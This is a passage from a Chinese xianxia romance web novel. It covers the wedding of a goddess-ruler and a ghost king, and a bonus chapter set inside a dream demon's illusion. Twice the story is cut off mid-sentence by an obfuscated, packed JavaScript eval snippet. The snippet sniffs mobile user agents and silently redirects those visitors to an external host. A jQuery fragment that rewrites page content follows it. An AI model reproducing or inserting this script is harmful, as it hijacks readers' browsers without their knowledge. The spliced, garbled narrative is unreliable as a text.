事实上，那是一箱箱金砖堆了满殿，堆不下又摞了起来。 “很久之前开始存的，”洛太初扫了殿内一眼，“留着娶妻。” 赫连昭作为一国储君，见到这样的景象都尚未缓过来。 更别提叶蓉了，她死死活活这么久拢共也没见过这么多黄金。 柳渊偷偷翻了个白眼，四下看了看：“你就把它们放在这？也不上锁锁一下？谁悄悄拿跑一根你都不知道。” 洛太初哼笑一声：“谁敢从我这偷东西？” 话落，众人的视线落在一旁的白衡身上。 “……”白衡掂了掂手上的金砖，察觉到目光，又放了回去，直起身道：“试试真假。” 赫连昭回过神来，哼了一声：“俗物，我们帝君可不缺这些。” 叶蓉闻言，瞪大双眼要制止他，便听洛太初道：“我也这般想，故而寻你们商量这聘礼该如何下。” 几人对望一眼。 柳渊道：“我们没成过亲，如何知晓这些？” 叶蓉缓缓举起手，道：“我倒是有过婚约，不过下聘这事，是我父母与男方商讨的。” 此话一出，殿内一阵静默。 叶蓉自觉说错了话，抬手打了自己嘴巴一下。 此时，白衡出声道：“我有一计。” 洛太初看向他。 白衡步至他身侧，神秘兮兮地说了几个字。 这边三人面面相觑。 柳渊掏了掏耳朵道：“他们在说什么？” 叶蓉摇头：“听不见。” 赫连昭翻了个白眼。 柳渊道：“搞这么神秘，拿我们当外人啊？” 赫连昭道：“你不是吗？” “……”柳渊道，“我可是尊贵的娘家人！” 见那边商量完，柳渊问出了自己最关心的问题：“你们成亲后住哪啊？我们帝君总不能跟着你住鬼界吧？这样不太方便吧？虽然眨眼的功夫就能到……”他说着突然把自己绕了进去，于是陷入了自我怀疑闭上嘴。 “无所谓，”洛太初道，“我可以入赘。” 白衡闻言侧目看向他，忍了一会儿，还是忍不住道：“可以表现得值钱些吗？” 洛太初弯唇笑了笑，没说话。 这日，洛太初陪在洛念安身侧处理公务。他一手研着墨，一手托着腮，一瞬不瞬地盯着洛念安瞧。 洛太初回来后虽日日如此，但洛念安总也适应不了，注意力集中了没一会儿便偏到他身上。她侧目看去，迎上他的视线。 洛太初见她看过来，展露笑颜。 那笑容亮得晃眼，洛念安微微一怔，他虽总是对她笑，但每个笑容之间的含义是不一样的，比如现在，看到这样的笑容，洛念安便知大抵是有事了。她道：“有什么事吗？” 洛太初研墨的动作没停，视线落在她面前的卷轴上，又看向她道：“姐姐现下忙吗？” 她日日都很忙。 洛念安闻言，摇头道：“不忙。” 洛太初凑近一些，道：“那姐姐可否帮我个忙？” “自然。”洛念安应得很快，“什么忙？” 洛太初道：“画一张我的画像。” 洛念安愣了愣，虽不明所以但还是点头道：“好啊。” 洛太初凑上前去，俯身在她唇上落下一吻，语气愉悦：“谢谢姐姐。” 洛念安面上一热，垂下眸轻声道：“不客气。” 两人转至书案旁，洛念安展开画卷，提笔，落笔。 洛太初立在一侧瞧着，半晌，他凑到洛念安身侧，委屈道：“姐姐画我，竟一眼都不看我？” 洛念安轻轻一笑，停笔侧目看他：“你画我时，我在你眼前吗？” 洛太初似乎怔了怔，道：“没有。” 洛念安道：“同样，你也在我心里。” “......”洛太初没了动静，好半晌，他轻笑出声，左手伸出将洛念安手中的笔截下，放置一侧，右臂顺势将人捞入怀中。 洛念安顺从地攀上他的腰背，听见他在耳侧道：“姐姐都看见了？” “嗯。”她轻轻应着。 “什么时候？” 洛念安道：“很久之前，还有，每一个想你的夜晚。” 洛太初默然无言，只是抱着她的双臂又收紧了些。 “小初。” “嗯？” “我想来准备我们的喜服。” 洛太初沉吟片刻，轻笑道：“好啊，我很期待。” 婚期将近，洛念安却有些苦恼，自洛太初回来后，她与他除却歇息时，每日几乎形影不离。可是近来，她总也见不到洛太初的身影。每每问起，他都说去处理信徒请愿。 “怪了，”洛念安道，“以前倒是没见他如此上心。” 叶蓉愣了一下，道：“总见不到？从早到晚都见不到吗？” 洛念安摇摇头：“他每日都会离开大概两个时辰左右吧。” “......？”叶蓉无言片刻，忍不住笑出了声，“我说洛姐姐，才两个时辰而已啊，一日十二个时辰呢。” 洛念安被说的有些不好意思，她搓了搓面颊，道：“夜里休息也是见不到的。” 叶蓉托腮看她，挑了挑眉：“别急嘛，你们婚期在即，很快每晚都能见到了。” “......”洛念安的面颊忽然涨红，她别开视线小声道，“说......说什么呢......” 叶蓉见她耳垂通红几欲滴血，偷笑一阵儿，起身道：“好啦帝君，我去忙咯。” 洛念安胡乱点头，摆着手道：“去吧去吧。” 大婚前夜。 洛念安毫不意外地失眠了。 在床榻上翻来覆去都无法入眠后，她坐起身子，伸手摸上玉骨哨，把玩半晌，几次忍住想去安乐殿的冲动，洛念安下了床榻，绕过屏风，出了寝殿，步至前殿正欲处理些公务，视线扫过壁面上的九州地图，她忽然脚步一顿。 洛念安以为自己眼花，再次侧目看了过去，确认那处的不同寻常后，她转而走到地图面前。 那上面原本亮着金芒银芒，密密麻麻，几乎铺满正面地图。 金芒是她的神庙，银芒是洛太初的神庙。 但是此刻，那些金芒银芒中亮起了星星点点的红芒。 新的神庙，却是不一样的神庙。 洛念安肯定这些红芒入睡前尚未出现，可是神庙建成后需要有香火才能被神界知晓。 那么谁会半夜三更在神庙中祭拜呢？ 思及此，洛念安回到寝殿穿好衣服，束起长发，再次来到地图前，视线落在一处红芒上，闭上眼，心念一动，再睁眼时，眼前的一切都发生了变化。她正附身于神像之上，这神像很高，垂眸看去，神像前的香炉尚燃着未焚烧完的香。 只是......她视线一顿，往右侧看去，身侧还有一座神像，摆放位置稍微靠后一些。 洛念安几乎一瞬间便猜到身侧这座神像是谁，她离开神像，落在殿中，再回身看去，果然，这庙里供着的，是她与洛太初的神像。 那两座神像几乎与殿齐高，神态栩栩如生，金光灿灿，一人手持龙吟，一人手执断魂。 她怔愣半晌，回过神来才发现，那神像是按照他们给彼此的画像所塑。 洛念安垂眸轻笑，她好像知道洛太初这些时日在忙些什么了。 她怀疑洛太初半夜不睡，在每个神庙内都焚了香。于是将这些神庙都去了个遍，果然每一座都是如此，只是剩多剩少的区别罢了。 洛念安从最后一座神庙离开时，已是丑时。她想去找洛太初，又怕他已经睡下，打扰到他。于是强压下这份冲动，回了神界。洛念安立在九州地图前，仰头看着上面的红芒，心中似有涓涓暖流涌出，传至百骸。等她回过神来，唇角都笑得有些僵了。 她本想去处理公务冷静一下，又怕歇息太晚明日状态不佳，犹豫一番，她还是转至寝殿，强迫自己歇下了。 钟声在神界缓缓荡开，九重天上七彩霞光闪烁，七七四十九只五彩神鸟绕着珈洛大殿盘旋，鸣声轻盈灵动，奏着乐章。 洛念安由叶蓉引着，走出珈洛大殿，出现在众神面前。她踩着红毯拾阶而下，视线落在那顶红帐轿辇前，与洛太初隔空相望。 他似乎怔愣住。 洛念安轻轻一笑，满身银饰在她的动作下叮当作响，清脆动听。 洛太初迈步向前，拾阶而上，步履匆忙。 启灵见状，嘀咕道：“这孩子，这么心急做什么？” 此话一出，引得阵阵轻笑。 洛念安也听见了，忍不住弯唇笑了笑，她再下几步，洛太初已经来到她面前，朝她伸出一只手，做出邀请之势。 叶蓉见状，笑着松了手，往旁边退了一步。 洛念安看向她，在她的疯狂示意下，伸手搭在了洛太初的手心上。 那只手依旧冰凉，却能恰好安抚她此刻的澎湃。 下一瞬，掌声轰鸣。 “帝君帝夫万年好合！” “帝君帝夫永结同心！” “……” “帝夫？”洛念安坐在轿中，轻笑道，“好稀罕的称谓。” 洛太初似乎琢磨了一下，然后道：“随他们怎么喊吧。” 洛念安倚在他怀中，扭头看向他，银冠在她的动作下叮当作响。 洛太初也同样侧过来看她，视线上移，落在她的银冠上，又忽然俯下身在她的唇上啄了一下，弯唇道：“美极了。” 洛念安伸手环上他的腰身，笑着道：“你也是。” 这轿辇从里红到外，只是好似与上次不太一样，大抵换了新。 阿离戴着朵大红花走在最前头开路，洛念安上轿前见到它时，没忍住笑出了声。 轿子平稳行了一段时间，又停下。洛太初起身，扶着洛念安下轿。她打开阵法，带着洛太初走了进去。二人踩着青荷，停在两朵金莲面前。 洛念安侧目，与洛太初对望一眼，两人并排而立，又提起衣摆屈膝跪下，对着牌位磕头三下。 洛念安直起身子，望着父母的牌位，眼中眸光闪烁，心中絮絮叨叨说了许多话。 右手被人紧紧握住，洛念安侧首，对上洛太初的视线。她道：“走吧。” 洛太初点头，牵着她起身。 两人再次看了一眼那两朵金莲，而后转身离开。 轿撵离开神界，到了鬼城，洛念安坐在轿中，忽闻齐刷刷一道声音，气势磅礴，声若洪钟：“恭祝王上王后喜结连理，珠联璧合，心心相印，比翼双飞，永结福缘，佳偶天成，相濡以沫，白首不离……” 他们的贺词说了好一阵儿才停下，洛念安惊呆了，随即便听见身侧之人道：“说得好。” 他话音刚落，外头瞬间爆发出欢呼吵闹声。 洛念安实在好奇，忍不住挪到一侧，悄悄掀起帘子，透过缝隙往外看去。只见漫天花瓣飞舞，纷纷落下，在那花瓣之中，夹杂着数不清的银票。那热闹正是群鬼们接钱捡钱时惹出的。 饶是天帝也不曾见过这样的场面。 洛念安愣神片刻，扭头笑道：“出手这般阔绰，不愧是鬼王大人。” 洛太初长臂一伸将人捞入怀中，轻声道：“独乐乐不如众乐乐，姐姐说是吗？” 洛念安扬了扬眉，笑着点头，但还是忍不住提醒道：“小心些，不要惹出乱子才好。” 洛太初道：“姐姐放心，没规矩的不会出现在这里。” 轿撵绕着鬼城转了一圈，才落至安乐殿。甫一下轿，抬眼望去，安乐殿中红绸布满屋檐，大红灯笼高高挂起，连玉兰树干都贴着喜字。 洛念安扬着唇角，由洛太初牵着进入殿中。二人去跪拜了他父母的灵位。 从灵堂出来，洛念安忍不住问道：“你后来有寻过二位吗？” 洛太初摇头：“我很小的时候他们便去世了，根本记不得生辰八字。” 洛念安了然点头，那牌位上连名字都没有。 洛太初继续道：“况且，他们只有那一世是我的父母。” 他语气如常，洛念安却敏锐地捕捉到了一丝哀伤。她的手握紧几分，轻声道：“以后我会一直陪着你。” 洛太初侧目看她，眼睫轻颤，须臾，他弯了弯唇角，道：“好。” 鬼界的宴席设在鬼市街道上，一张张盖着红布的圆桌从街道这头摆到街道那头。洛太初携着洛念安现身，立在前端。千人举杯同庆，高呼：“恭贺王上！恭贺王后！” 二人笑着饮下杯中喜酒，洛念安温声道：“大家吃好喝好。” 众鬼呼呼喝喝应声。 二人遂携手离开，去了神界。霞光异彩染群山，溪流从山涧蜿蜒而下，水声如琴。神界依流水设宴，青荷载着佳肴浮于水面，缓缓而下。 洛念安带着洛太初现身，立于席首，端起金盏。众神起身相迎，举杯共祝：“恭贺帝君，恭贺帝夫。” “帝夫这个称呼到底是谁想的？”柳渊笑了半天。 启灵看他：“我想的，如何？” 柳渊收声端坐，道：“没有，很好。” 洛念安与洛太初二人，随启灵、叶蓉、柳渊、赫连昭、白衡、孔玉几人于珈洛殿单独开宴。 见他犯怂，赫连昭从不放过任何一个可以嘲笑他的机会，出声道：“老实了吧？” 柳渊只翻白眼不理他，又问道：“帝君，太阴仙，你们这婚服是？” 启灵率先答道：“九黎族服饰。”他看向洛太初，“帝夫是九黎族人吧？” 洛太初点头，银冠叮当作响：“正是。” 柳渊和赫连昭两个像没见过世面一般，盯着他们俩的银冠左瞧右瞧上瞧下瞧。 “……”洛念安忍不住道，“如何？” 赫连昭问道：“重吗？” 洛念安笑了笑，道：“不重。” 柳渊道：“脖子上戴着一圈又一圈的，也不重吗？” 洛念安道：“还好。” 洛太初淡声道：“你们不如也去制一套戴上试试？” “……” 柳渊与赫连昭对望一眼，各自翻了个白眼别过头去。 众人轻笑出声，片刻后，叶蓉道：“对了洛姐姐，我们为你和王上准备了一样贺礼。” 洛念安先是看了一眼洛太初，复又看向她道：“不是说好不用备礼吗？” 柳渊道：“肯定不是寻常的贺礼啦。” 赫连昭点头，抬手轻拍两下。 从殿外进来六名仙侍，二人手捧一团锦被，四人上前将其展开，一副百喜图呈现眼前。 柳渊道：“我们到各个地方集了喜字，凑出一副百喜图。当然，这些字都是劳启灵真君所写。为了防止你们没地方放，直接制成百喜被了，如何？不错吧？” 洛念安望着那红底金字百喜图，愣神许久，眸光闪烁。洛太初在桌下，与她十指相扣，她回神，与之对望一眼，弯唇笑道：“多谢各位，我很喜欢。” 启灵端起金盏：“恭祝帝君帝夫新婚。” 柳渊跟着道：“恭祝新婚。” 叶蓉眼眶湿润：“永远幸福。” 赫连昭看向洛太初：“你一定要好好对我师父。” 洛太初扬了扬眉，道：“放心。” 白衡也端起金盏，道：“帝君帝……”他看了洛太初一眼，许是觉得烫嘴，便越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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洛太初下巴搁在她肩膀上，在她耳畔吐息：“姐姐。” 他的声音充满蛊惑，洛念安又是一颤，吞咽一下，道：“怎，怎么了？” 洛太初轻笑出声，低声道：“姐姐方才可不是这样的，难道，姐姐只管撩不负责吗？” 洛念安瞬间血气上涌，从面颊红到耳朵尖，她慌乱道：“不是……我没有……我只是……” 洛太初轻笑着在她的耳廓啄了一下：“只是什么？” 洛念安瞬间大脑一片空白，连带着呼吸都不太顺畅了。她嗫嚅道：“只是想……沐浴一番。” “嗯，”洛太初轻笑一声，又道，“那姐姐为何不转过来看看我？” 洛念安眼神游移：“这……这不好吧？” 洛太初笑了一阵，道：“姐姐，你我已经成亲了。” 洛念安咬了咬下唇，道：“那你稍微……退后一些。” 洛太初依言后退，洛念安犹豫着，转过身子。好在这浴池够深，漂满的花瓣不至于让人无处遁形。她垂着眸不敢看他，却一眼便看见了刺在他心口处深色的文字。洛念安一怔，下意识抬手抚了上去：“这是……”她抬起双眸，对上洛太初的视线，“我的名字。” 洛太初诧异扬眉，须臾，他笑道：“姐姐竟然认得。” 洛念安道：“你离开的第四年，我曾遇见过一位九黎族女子，她告诉我，断魂上是我的名字。” 洛太初笑了笑，道：“我知道。” 洛念安诧异道：“你知道？” 洛太初道：“姐姐不是告诉过我？” 洛念安猛地愣住，不确定道：“可是我……我是对着……” “嗯，”洛太初弯唇道，“十一年，姐姐的一切，我都知道。” 洛念安惊诧半晌，渐渐红了眼眶。她别开视线，抚着那串字符，心疼不已：“疼不疼？” 洛太初握住她的手，柔声道：“不疼。” 不信。 洛念安撇撇嘴，视线一转，瞥见他的臂膀处有许多细小的伤疤，她记得背上也是，格外刺眼。她望着那些伤疤，忽然记起什么，遂问道：“这些是……生前留下的吗？” 洛太初却含糊其辞：“忘记了。陈年旧伤，不值一提。” “……”洛念安当然知晓他的意思，抿唇不语，眼眶却止不住的发酸。只是大喜的日子，她也不提些伤心事，于是转了话题道，“我看到那些神庙了。” “嗯？”洛太初轻笑一声，道，“原本打算只建姐姐的神庙，谁知太多了，我再建也没什么稀罕。” 洛念安忍不住弯唇笑道：“我怎么觉得，这和我自己在玉兰观供自己有异曲同工之妙？” 洛太初一怔，随即笑出了声，两人笑了一阵儿，他道：“不喜欢吗？” 洛念安道：“当然喜欢啊，很喜欢。只是，你昨夜没怎么歇息吧？” 洛太初点头：“嗯，想姐姐想得睡不着。” 洛念安没料到他会突然说这样直白的话语，怔愣片刻，听他道：“姐姐呢？” “……”洛念安低垂下眸，咬了咬唇，低声道：“我也是。” 洛太初满意轻笑，二人的手指在水中交握。洛念安抬眸，视线落在那张银面具上，她犹豫片刻，轻声问道：“这个，可以摘下来吗？” 洛太初垂眸望着她，闻言眼睫轻颤几下，须臾，他抬起右手，取下了那张面具。 几道蜿蜒的疤痕留在他的右面上，比初见时浅了许多。其实这张脸摆在这里，旁人大抵不会将注意力放在那几道清浅的疤痕上。但洛太初却侧过面，别开了洛念安的视线。 她抬手抚上他的面颊，柔声道：“没关系的，一点都不难看。” 洛太初似乎怔了怔，又侧过来看向她，半晌，他道：“姐姐可还记得，当初，你说过一模一样的话。” “我自然记得。”洛念安弯眼笑着，继续道，“小初明明如何都很好看。” 洛太初喉结滚动一番，随即别开视线，眼睫轻轻颤动。 洛念安踮起脚尖，凑上前去在他的右面上落下一吻。 少顷，“哗啦”一道水声响起，衣架上锦衣掀起，空中撕开一道缝隙，银面具漂浮于花瓣之中无人问津。 再转眼，寝殿中红烛光影交错。 窗外闷雷滚滚，狂风骤起，忽的电闪雷鸣，落下倾盆大雨。玉兰花于风雨中摇曳不息，禁不住，落了瓣。 感受到右手手指传来凉意，洛念安迷迷糊糊睁开眼睛，抬手一看，发现无名指上多了一枚银戒。 她抬眸，对上洛太初的视线，疑惑道：“这是？” 洛太初举起另一枚银戒，道：“对戒，结同心生死不相离。” 洛念安微微一怔，须臾，接过那枚银戒，有样学样，也戴在了洛太初右手的无名指上。她伸展右手，细细望着，嘴角不自觉扬起，直到洛太初的右手覆在她的手背上，十指交握。 洛太初的声音从头顶传来，淡淡的：“姐姐又救了我一次。” 洛念安往他怀中靠了靠，慵懒道：“你救苍生，我救你。” 洛太初笑了笑，带着她的手放入锦被中，询问道：“今日和帝君帝后说了什么？” 洛念安思索片刻，道：“我说，若是可以，永生永世，我都想和你在一起。” 洛太初轻笑一声，俯身在她额头上落下一吻，柔声道：“好。” 洛念安感到有些困倦，她闭上眼睛，却还是唤道：“小初。” “嗯？” “你要一直陪在我身边。” “好，”洛太初弯起唇角，“一定会的。” “你还要，福寿绵长，千岁万岁，千年万年。” ——正文完—— 87. 梦境一 珈洛大殿殿议。 “那梦魔的具体方位寻真阁现下确实无法追踪，他最后一次出现的地点是在......”启灵停顿片刻，望向抱臂立在洛念安身侧的洛太初，继续道，“鬼城之外。” 此话一出，众神皆往高台上看去。 洛太初向下扫视一圈，最终落在启灵身上，淡声道：“他入不了鬼城。” 近日来，这已经是第七桩公务找到洛太初头上了。 洛念安沉吟片刻，启唇道：“诸位皆收到了关于梦魔的请愿？” 众神纷纷称是。一神道：“启禀帝君，是我庙中最先收到请愿，只是追查数日无果。” “话虽如此，”洛念安的眸光从每一位上神身上掠过，“也不能事事图方便，劳烦太阴仙。” 众神面面相觑，噤声不语。 洛念安叹息一声，道：“此事看来确实棘手，也就罢了，我自会解决。可还有事要议？” 见众神纷纷摇头，洛念安道：“如此便散了吧。” 待人都走光后，洛太初转而挤上那张宝座，伸手将人圈入怀中，嬉笑道：“姐姐这般护我？” 洛念安往旁边挪了挪，好让他坐的宽敞些，事实上这把宝座坐他们俩绰绰有余，一开始她是想拉着洛太初一起坐的，可他不愿，每每殿议总站在她身侧。 “如今上神们遇事超过一日没法解决便总来麻烦你，实在不妥。”洛念安蹙着眉头。 “不算麻烦。”洛太初道，“谁让我实力强劲，能者多劳，这不是姐姐教我的吗？” 洛念安侧目看他：“可我总不想让你这般劳累。” 那是假的，如今他们二人香火愈发旺盛，加之人们发现他们两位在一起供奉时祈愿灵得多，故而愈来愈多的信徒转至珈洛太阴庙中祈愿，将神位请回家中之人也是数不胜数。 每日祈愿千条万条，分身在外转到冒烟，本尊也好不到哪里去。 “不累。”洛太初牵起她的手凑到唇边吻了吻，道，“待我查清那梦魔下落再告知姐姐。” 翌日，洛念安正在珈洛殿中整理今日要处理的公务，洛太初在一旁帮忙。 白衡从殿外走进，先是看了洛太初一眼，才又看向洛念安，行礼道：“帝君。” “仙君。”洛念安抬眸见到来人，放下笔，静待下文。 白衡道：“我来告知帝君梦魔下落。” 洛念安微微一怔，侧目看向一旁咬着笔头的洛太初。 白衡也看了过去，出声道：“你自己不查，为何要我去查？” 洛太初抽出笔放在笔架上，往后一靠倚着椅背，弯唇笑了笑道：“你身为神官，为神界做事是你的职责，如何？” 白衡：“……” 洛念安的视线在二者之间游移一阵，听见洛太初道：“姐姐，日后寻真阁查不到的消息找他就是，他比寻真阁有用得多。” “……”白衡闻言，复又抬眸瞥了他一眼，语气如常道：“鬼做惯了，不做人了。” 洛太初并不打算理他，依旧跟洛念安说着话：“真的，姐姐。” 洛念安勉强牵起唇角笑了笑，点头道：“好的好的。” 一刻钟后，洛念安与洛太初手牵着手从珈洛大殿离开，去往天门的路上，碰见出任务归来的叶蓉。 “帝君，王上。”叶蓉问道，“你们要出任务吗？” 洛念安道：“对啊，去收个精怪。” 虽然他们成日都是出双入对的，但叶蓉还是玩笑道：“什么精怪能劳您两位大驾？” 洛念安微笑道：“梦魔。” 此精怪叶蓉也是知晓的，算是近日神界最棘手的任务。于是她道：“那就不耽误你们了，一切顺利。” 洛念安笑吟吟回：“好，一切顺利。” 出了天门，洛太初打开虚空之境，再现身时，两人出现在一处狭窄的山洞前。 “是这里吗？”洛念安有些不太确定。 洛太初笑了笑，道：“姐姐是不信我，还是不信白衡？” 洛念安如实道：“我确实不太了解他。” 洛太初道：“姐姐放心，他统领万妖万兽，打探个消息，多半不会出错。” 有他这句话，洛念安便放心许多，她牵着洛太初往前，忍不住好奇道：“他统领万妖万兽，而你又能号令百兽，那若是你俩施了不同的令，百兽究竟会听谁的？” 洛太初轻笑一声，道：“我号令百兽，他不也是百兽之一？”顿了顿，他继续道，“不过这人一心想成神，依我看，他定会听姐姐的令。” 洛念安垂眸笑了笑。谈笑间，两人已经步入山洞，此洞及窄，要一前一后方可进入。洛念安在前，甫一进入，她的面色瞬时沉了下来，因为她牵着的那只手在进入的那一刹那，松开了。 洛念安迅速转身，果然，身后空无一人。她心下一惊，忙往前踏了几步，察觉自己身处一条窄廊中。 “发什么呆呢？快跟上啊。” 洛念安一怔，猛地发现自己正端着一个托盘，盘上放置着一个银壶。 她转身看向提醒自己的那个姑娘，那姑娘一袭青色衣衫，脖颈上戴着一银制素圈，发间同样簪着银饰。 视线向前，前面几位姑娘皆是这样的装扮，每人手中都端着托盘。 洛念安点头，一边疯狂盘算着，一边跟了上去。 长廊很窄，勉强容两人并排通过，走在上面嘎吱作响，洛念安不动声色地四下观望着，发现周身的建筑皆是竹制。右前方不远处的建筑依山而建，一半没入山体中，一半悬在外面，从山脚上至山腰，层层而上，灯火通明。 她这处同样也是，一行人爬了不知多少层台阶，七拐弯八抹角，越往上，这走廊便越宽敞些。 近处似有丝竹声响，一片明亮的光映在廊上。前头的人拐了弯，进入了身侧的房屋。待洛念安跟进去，才发现内里宽敞，歌舞升平，似在举办宴会。她们从侧门进入，洛念安一眼便看见了坐在最高处的洛太初，心中一喜，可是很快她便发现不太对劲了。 洛太初身着一袭藏蓝色衣裳，胸前坠着层叠的银制项圈，他所穿所戴皆与今日不同，更不同寻常的是，他的右颊处光洁如常，没有任何疤痕。 一行人上前，登上高台，一个个低垂着头将手中托盘上的物什摆在洛太初面前的长桌上。洛念安也跟在后面，只是她摆放银壶时，忍不住抬眸看向洛太初。 洛太初似乎也注意到了她的视线，眼眸一转，看了过来。 视线相对，他似乎顿了顿，眉头微挑。 此时，台下有人出声，似说了什么，洛太初的视线被引走，那人声落，洛太初又启唇，说了一句洛念安听不懂的话。 正是因为听不懂，故而她的注意力完全落在他的声音上，只觉得好听得头皮发麻。 但现在并不是头皮发麻的时候，洛念安从洛太初的眼神中得知，他不认识她。 这就很糟糕了。 洛念安不得不跟着一行侍女离开，待走到门口，她忍不住戳了戳前面那位一看就是中原人的侍女：“请问坐在那高台之上的是哪位？” 那侍女停下来，左右看了看，又上下扫了洛念安一眼，问道：“你是新来的？” 洛念安点头：“算是吧。” 那侍女又左右扫了一眼，凑到她跟前道：“那位是苗驰少主啊。” “苗驰少主？”洛念安蹙了蹙眉。 “是啊。”那姑娘面上闪着雀跃，“我也是第一次见少主呢，没想到竟长得这样好看。” 洛念安眼眸一转，道：“可我看他，并不完全像九黎族人。” 那姑娘道：“自然啊，因为族长夫人是中原人啊。我没见过，但听其他姐妹说极其貌美。”她说着，顿了顿，盯着洛念安看了许久，又道，“大抵跟你差不多吧。” 洛念安微微一怔：“……啊？” 那姑娘皱着眉道：“以前真没见过你，你说你……有这样的容貌，为何做了侍女呢？”她突然压低声音道，“你还是小心些得好，万一被其他长老看上，可是要遭殃了。我听说有几位专门寻貌美的中原女子做妾。” 洛念安愣了愣，又微笑点头：“好的，我知道了，谢谢你。” “都是姐妹，不必……” “你。” 两人被身后突然出现的声音吓了一跳，齐齐扭头看去，见到一个同样着青衫的男子，似乎是站在洛太初身后那群侍从其中之一。 那人视线落在洛念安身上，出声道：“少主命你前去侍奉。” “……”洛念安对上身旁姑娘意味深长的目光，愣了愣，指着自己道：“我？” “就是你，”那人转身，“跟我走吧。” 洛念安正发着懵，突然被人推了一把，那姑娘一边推她一边悄声道：“苟富贵，毋相忘。” “……”洛念安不得已跟在那人身后，进了那歌舞升平的宴厅。 她又来到洛太初身边，视线忍不住往下看去，发现坐在下面的每个人身边都有侍女在布菜倒酒。再转回来，洛太初身边倒是没有，不知是一直没有还是她要来才没有的。 洛念安慢吞吞走到他身侧，没有多余的座位。她又往下扫了一眼，没看清下面的侍女到底是跪着还是蹲着。 虽然没有做过这样的活计，但洛念安适应力一向好，而且她本就想借机接近洛太初，于是蹲在了他的右手边。有样学样，拾起手边的筷子往夹了一块肉到他面前的银盘中。 下面的人正对着洛太初叽里咕噜说着话。 他却忽然低声道：“葡萄。” 洛念安一怔，洛太初坐在那比她高一些，下面一大堆人看着，她又不敢明目张胆地抬头看他。只能一边听着他和下面的人说话，一边伸手摘了颗葡萄下来，放进银盘中。 洛太初的声音停了下来，又低声道：“擦手。” “……”洛念安用手边的湿布擦了擦手，又摘了一颗葡萄放进去。 “剥皮。” “……” 自从洛太初回来后，洛念安对他可谓是百依百顺，故而他有些恃宠而骄，但就算是那段时间，他也从来没有这样过。冷不丁如此，洛念安实在是有些不太习惯。 她又重新将那颗葡萄拿回来，一点一点剥下葡萄皮。 洛太初又道：“新来的？” 洛念安“嗯”了一声。 洛太初轻笑一声，又道：“你进来之前，没人教你学规矩吗？” “……”洛念安如实道：“没有。” 说话间，门外忽然进来一位女子，看着不像是九黎族人，但也不是中原人。坐在头边左侧的男人起身，走到那女子身边，对着洛太初说了些什么，大抵是在介绍那位女子。那女子看着洛太初，嫣然一笑。 洛太初出声说了什么。 那女子微微俯身，跟着男人走到桌边坐下。 洛念安直觉事情不太简单，下意识问道：“这是在做什么？” 问完她愣了愣，忘记现下身边之人不是洛太初，而是苗驰。 苗驰似乎也是微微一怔，却还是回道：“谈论我的婚事。” 剥好皮的葡萄一下砸在银盘上。 此举瞬间引来众人的目光。洛念安为了不徒生事端，将头埋得更低。 苗驰说了句话，众人又各做各事去了。 “抱歉。”洛念安一边小声说着，一边将那颗葡萄收走，又准备重新剥一颗。 “罢了，”苗驰道，“指着你伺候，我大抵要饿死。” “……”洛念安动作一顿，以为自己要被赶出去了，谁料他只是自己动手布菜倒酒，也没说要她走的话。 洛念安蹲在那里双腿发麻，她正犹豫着要不要开口说离开，等没什么人的时候再溜过来找他。还没开口，便见到那女子起身，对着苗驰盈盈一拜，说了句话。 苗驰似犹豫片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197229|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻，又点头，随即起身，看样子是要离开。 洛念安抬头看他，他也正垂着眸看她，然后道：“你跟上来。” “……”洛念安不顾双腿发麻，跟着他们一齐离开。 跟在那两人身后的不止洛念安一个，那女子身后六个，苗驰身后也有六个，加上她，七个。 洛念安起先也不知道他们要做什么，一级一级的台阶爬，爬到最上面，忽然露出一块宽广的平台，一轮圆月高高挂在台边。 那女子转身对身后之人说了句话。 他们便停了下来，不再跟上去。 苗驰也抬起右手，他身后的侍从见状，也停了下来。 洛念安便只好跟着停下，眼睁睁看着苗驰和那女子继续往前。他们走到圆桌边，一人一侧坐了下来。那女子端起银壶倒了杯茶递到苗驰面前，一边看着高台外，一边笑意盈盈地说着什么。 苗驰倒是没什么表情，偶尔应几声。他似乎也没什么兴致赏景，只托着腮，转着手中的银杯，却总时不时侧目过来，看向洛念安。 洛念安的视线一直粘在他身上，自然能注意到他投过来的视线。两人的视线隔空相撞，苗驰望着她，露出一副若有所思的神情，又垂下眸，盯着自己手中的银杯出神。 洛念安可是忙得紧。一边要盯着他和其他女子约会，一边思索如何能破了那梦魔的局。她背过手，心念一动尝试施法，却发现自己竟然无法施展法术。意识到这一点，洛念安不由得抿紧双唇。 正思考对策间，洛念安看见苗驰冲她招了招手。她一怔，犹豫着迈步走上前去。 等她走近，苗驰道：“换壶热茶。” “……”洛念安默默伸手去端银壶，却听到那女子道：“是热的呀。” 她伸手过来探了探壶身，道：“少主手中那杯尚未入口，这茶的确是热的。” 她说着，起身走到苗驰身侧，伸手去端他面前的银杯，作势要喂他喝。 洛念安眉头一蹙，有些不悦道：“少主说不热便是不热。”她说完，盯着苗驰看。 那银杯快要递到嘴边，闻言一顿，女子伏在苗驰耳边道：“少主，这是哪里的女婢，好不懂规矩。” 苗驰偏了偏身子，离她远了些，闻言蹙下眉头，沉声说了句话。 洛念安听不懂，但那女子闻言脸色却是变了一变，大抵也不是什么好听的话。 她很快重新扬起笑容，又凑近些，将银杯递到他嘴边，轻声诱哄道：“少主，您尝尝嘛，这茶的确是热的。” 洛念安猛地灵光一闪，伸手握上那女子手腕，轻轻一转，便将银杯打翻在地。 那女子见事情败露，左手忽然翻出一把匕首，刺向苗驰的脖颈。 “洛太初！”洛念安情急之下欲徒手去接刀刃。 